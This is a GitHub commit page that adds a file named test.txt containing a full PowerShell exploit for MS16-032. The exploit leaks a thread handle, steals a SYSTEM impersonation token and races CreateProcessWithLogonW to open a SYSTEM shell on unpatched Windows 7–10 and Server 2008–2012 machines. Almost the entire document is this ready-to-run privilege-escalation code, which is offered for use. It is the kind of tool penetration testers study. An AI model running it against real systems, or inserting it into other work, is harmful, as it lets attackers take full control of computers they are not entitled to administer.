Skip to content

Commit fd712b3

Browse files
authored
test
1 parent 06505a2 commit fd712b3

1 file changed

Lines changed: 370 additions & 0 deletions

File tree

test.txt

Lines changed: 370 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,370 @@
1+
function Invoke-MS16-032 {
2+
<#
3+
.SYNOPSIS
4+
5+
PowerShell implementation of MS16-032. The exploit targets all vulnerable
6+
operating systems that support PowerShell v2+. Credit for the discovery of
7+
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
8+
9+
Targets:
10+
11+
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
12+
* Tested on x32 Win7, x64 Win8, x64 2k12R2
13+
14+
Notes:
15+
16+
* In order for the race condition to succeed the machine must have 2+ CPU
17+
cores. If testing in a VM just make sure to add a core if needed mkay.
18+
* Want to know more about MS16-032 ==>
19+
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
20+
21+
.DESCRIPTION
22+
Author: Ruben Boonen (@FuzzySec)
23+
Blog: http://www.fuzzysecurity.com/
24+
License: BSD 3-Clause
25+
Required Dependencies: PowerShell v2+
26+
Optional Dependencies: None
27+
28+
.EXAMPLE
29+
C:\PS> Invoke-MS16-032
30+
#>
31+
Add-Type -TypeDefinition @"
32+
using System;
33+
using System.Diagnostics;
34+
using System.Runtime.InteropServices;
35+
using System.Security.Principal;
36+
37+
[StructLayout(LayoutKind.Sequential)]
38+
public struct PROCESS_INFORMATION
39+
{
40+
public IntPtr hProcess;
41+
public IntPtr hThread;
42+
public int dwProcessId;
43+
public int dwThreadId;
44+
}
45+
46+
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
47+
public struct STARTUPINFO
48+
{
49+
public Int32 cb;
50+
public string lpReserved;
51+
public string lpDesktop;
52+
public string lpTitle;
53+
public Int32 dwX;
54+
public Int32 dwY;
55+
public Int32 dwXSize;
56+
public Int32 dwYSize;
57+
public Int32 dwXCountChars;
58+
public Int32 dwYCountChars;
59+
public Int32 dwFillAttribute;
60+
public Int32 dwFlags;
61+
public Int16 wShowWindow;
62+
public Int16 cbReserved2;
63+
public IntPtr lpReserved2;
64+
public IntPtr hStdInput;
65+
public IntPtr hStdOutput;
66+
public IntPtr hStdError;
67+
}
68+
69+
[StructLayout(LayoutKind.Sequential)]
70+
public struct SQOS
71+
{
72+
public int Length;
73+
public int ImpersonationLevel;
74+
public int ContextTrackingMode;
75+
public bool EffectiveOnly;
76+
}
77+
78+
public static class Advapi32
79+
{
80+
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
81+
public static extern bool CreateProcessWithLogonW(
82+
String userName,
83+
String domain,
84+
String password,
85+
int logonFlags,
86+
String applicationName,
87+
String commandLine,
88+
int creationFlags,
89+
int environment,
90+
String currentDirectory,
91+
ref STARTUPINFO startupInfo,
92+
out PROCESS_INFORMATION processInformation);
93+
94+
[DllImport("advapi32.dll", SetLastError=true)]
95+
public static extern bool SetThreadToken(
96+
ref IntPtr Thread,
97+
IntPtr Token);
98+
99+
[DllImport("advapi32.dll", SetLastError=true)]
100+
public static extern bool OpenThreadToken(
101+
IntPtr ThreadHandle,
102+
int DesiredAccess,
103+
bool OpenAsSelf,
104+
out IntPtr TokenHandle);
105+
106+
[DllImport("advapi32.dll", SetLastError=true)]
107+
public static extern bool OpenProcessToken(
108+
IntPtr ProcessHandle,
109+
int DesiredAccess,
110+
ref IntPtr TokenHandle);
111+
112+
[DllImport("advapi32.dll", SetLastError=true)]
113+
public extern static bool DuplicateToken(
114+
IntPtr ExistingTokenHandle,
115+
int SECURITY_IMPERSONATION_LEVEL,
116+
ref IntPtr DuplicateTokenHandle);
117+
}
118+
119+
public static class Kernel32
120+
{
121+
[DllImport("kernel32.dll")]
122+
public static extern uint GetLastError();
123+
124+
[DllImport("kernel32.dll", SetLastError=true)]
125+
public static extern IntPtr GetCurrentProcess();
126+
127+
[DllImport("kernel32.dll", SetLastError=true)]
128+
public static extern IntPtr GetCurrentThread();
129+
130+
[DllImport("kernel32.dll", SetLastError=true)]
131+
public static extern int GetThreadId(IntPtr hThread);
132+
133+
[DllImport("kernel32.dll", SetLastError = true)]
134+
public static extern int GetProcessIdOfThread(IntPtr handle);
135+
136+
[DllImport("kernel32.dll",SetLastError=true)]
137+
public static extern int SuspendThread(IntPtr hThread);
138+
139+
[DllImport("kernel32.dll",SetLastError=true)]
140+
public static extern int ResumeThread(IntPtr hThread);
141+
142+
[DllImport("kernel32.dll", SetLastError=true)]
143+
public static extern bool TerminateProcess(
144+
IntPtr hProcess,
145+
uint uExitCode);
146+
147+
[DllImport("kernel32.dll", SetLastError=true)]
148+
public static extern bool CloseHandle(IntPtr hObject);
149+
150+
[DllImport("kernel32.dll", SetLastError=true)]
151+
public static extern bool DuplicateHandle(
152+
IntPtr hSourceProcessHandle,
153+
IntPtr hSourceHandle,
154+
IntPtr hTargetProcessHandle,
155+
ref IntPtr lpTargetHandle,
156+
int dwDesiredAccess,
157+
bool bInheritHandle,
158+
int dwOptions);
159+
}
160+
161+
public static class Ntdll
162+
{
163+
[DllImport("ntdll.dll", SetLastError=true)]
164+
public static extern int NtImpersonateThread(
165+
IntPtr ThreadHandle,
166+
IntPtr ThreadToImpersonate,
167+
ref SQOS SecurityQualityOfService);
168+
}
169+
"@
170+
171+
function Get-ThreadHandle {
172+
# StartupInfo Struct
173+
$StartupInfo = New-Object STARTUPINFO
174+
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
175+
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
176+
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
177+
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
178+
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
179+
180+
# ProcessInfo Struct
181+
$ProcessInfo = New-Object PROCESS_INFORMATION
182+
183+
# CreateProcessWithLogonW --> lpCurrentDirectory
184+
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
185+
186+
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
187+
$CallResult = [Advapi32]::CreateProcessWithLogonW(
188+
"user", "domain", "pass",
189+
0x00000002, "C:\Windows\System32\cmd.exe", "",
190+
0x00000004, $null, $GetCurrentPath,
191+
[ref]$StartupInfo, [ref]$ProcessInfo)
192+
193+
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
194+
$lpTargetHandle = [IntPtr]::Zero
195+
$CallResult = [Kernel32]::DuplicateHandle(
196+
$ProcessInfo.hProcess, 0x4,
197+
[Kernel32]::GetCurrentProcess(),
198+
[ref]$lpTargetHandle, 0, $false,
199+
0x00000002)
200+
201+
# Clean up suspended process
202+
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
203+
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
204+
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
205+
206+
$lpTargetHandle
207+
}
208+
209+
function Get-SystemToken {
210+
echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
211+
212+
$CallResult = [Kernel32]::SuspendThread($hThread)
213+
if ($CallResult -ne 0) {
214+
echo "[!] $hThread is a bad thread, exiting.."
215+
Return
216+
} echo "[+] Thread suspended"
217+
218+
echo "[>] Wiping current impersonation token"
219+
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
220+
if (!$CallResult) {
221+
echo "[!] SetThreadToken failed, exiting.."
222+
$CallResult = [Kernel32]::ResumeThread($hThread)
223+
echo "[+] Thread resumed!"
224+
Return
225+
}
226+
227+
echo "[>] Building SYSTEM impersonation token"
228+
# SecurityQualityOfService struct
229+
$SQOS = New-Object SQOS
230+
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
231+
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
232+
# Undocumented API's, I like your style Microsoft ;)
233+
$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
234+
if ($CallResult -ne 0) {
235+
echo "[!] NtImpersonateThread failed, exiting.."
236+
$CallResult = [Kernel32]::ResumeThread($hThread)
237+
echo "[+] Thread resumed!"
238+
Return
239+
}
240+
241+
# Null $SysTokenHandle
242+
$script:SysTokenHandle = [IntPtr]::Zero
243+
244+
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
245+
$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
246+
if (!$CallResult) {
247+
echo "[!] OpenThreadToken failed, exiting.."
248+
$CallResult = [Kernel32]::ResumeThread($hThread)
249+
echo "[+] Thread resumed!"
250+
Return
251+
}
252+
253+
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
254+
echo "[+] Resuming thread.."
255+
$CallResult = [Kernel32]::ResumeThread($hThread)
256+
}
257+
258+
# main() <--- ;)
259+
$ms16032 = @"
260+
__ __ ___ ___ ___ ___ ___ ___
261+
| V | _|_ | | _|___| |_ |_ |
262+
| |_ |_| |_| . |___| | |_ | _|
263+
|_|_|_|___|_____|___| |___|___|___|
264+
265+
[by b33f -> @FuzzySec]
266+
"@
267+
268+
$ms16032
269+
270+
# Check logical processor count, race condition requires 2+
271+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
272+
if ($([System.Environment]::ProcessorCount) -lt 2) {
273+
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
274+
Return
275+
}
276+
277+
echo "[>] Duplicating CreateProcessWithLogonW handle"
278+
$hThread = Get-ThreadHandle
279+
280+
# If no thread handle is captured, the box is patched
281+
if ($hThread -eq 0) {
282+
echo "[!] No valid thread handle was captured, exiting!`n"
283+
Return
284+
} else {
285+
echo "[?] Done, using thread handle: $hThread"
286+
} echo "`n[*] Sniffing out privileged impersonation token.."
287+
288+
# Get handle to SYSTEM access token
289+
Get-SystemToken
290+
291+
# If we fail a check in Get-SystemToken, exit
292+
if ($SysTokenHandle -eq 0) {
293+
Return
294+
}
295+
296+
echo "`n[*] Sniffing out SYSTEM shell.."
297+
echo "`n[>] Duplicating SYSTEM token"
298+
$hDuplicateTokenHandle = [IntPtr]::Zero
299+
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
300+
301+
# Simple PS runspace definition
302+
echo "[>] Starting token race"
303+
$Runspace = [runspacefactory]::CreateRunspace()
304+
$StartTokenRace = [powershell]::Create()
305+
$StartTokenRace.runspace = $Runspace
306+
$Runspace.Open()
307+
[void]$StartTokenRace.AddScript({
308+
Param ($hThread, $hDuplicateTokenHandle)
309+
while ($true) {
310+
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
311+
}
312+
}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
313+
$AscObj = $StartTokenRace.BeginInvoke()
314+
315+
echo "[>] Starting process race"
316+
# Adding a timeout (10 seconds) here to safeguard from edge-cases
317+
$SafeGuard = [diagnostics.stopwatch]::StartNew()
318+
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
319+
320+
# StartupInfo Struct
321+
$StartupInfo = New-Object STARTUPINFO
322+
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
323+
324+
# ProcessInfo Struct
325+
$ProcessInfo = New-Object PROCESS_INFORMATION
326+
327+
# CreateProcessWithLogonW --> lpCurrentDirectory
328+
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
329+
330+
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
331+
$CallResult = [Advapi32]::CreateProcessWithLogonW(
332+
"user", "domain", "pass",
333+
0x00000002, "C:\Windows\System32\cmd.exe", "/c powershell",
334+
0x00000004, $null, $GetCurrentPath,
335+
[ref]$StartupInfo, [ref]$ProcessInfo)
336+
337+
#---
338+
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
339+
#---
340+
# Missing this check used to cause the exploit to fail sometimes.
341+
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
342+
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
343+
# reliable now!
344+
#---
345+
if (!$CallResult) {
346+
continue
347+
}
348+
349+
$hTokenHandle = [IntPtr]::Zero
350+
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
351+
# If we can't open the process token it's a SYSTEM shell!
352+
if (!$CallResult) {
353+
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
354+
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
355+
$StartTokenRace.Stop()
356+
$SafeGuard.Stop()
357+
Return
358+
}
359+
360+
# Clean up suspended process
361+
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
362+
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
363+
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
364+
365+
}
366+
367+
# Kill runspace & stopwatch if edge-case
368+
$StartTokenRace.Stop()
369+
$SafeGuard.Stop()
370+
}

0 commit comments

Comments
 (0)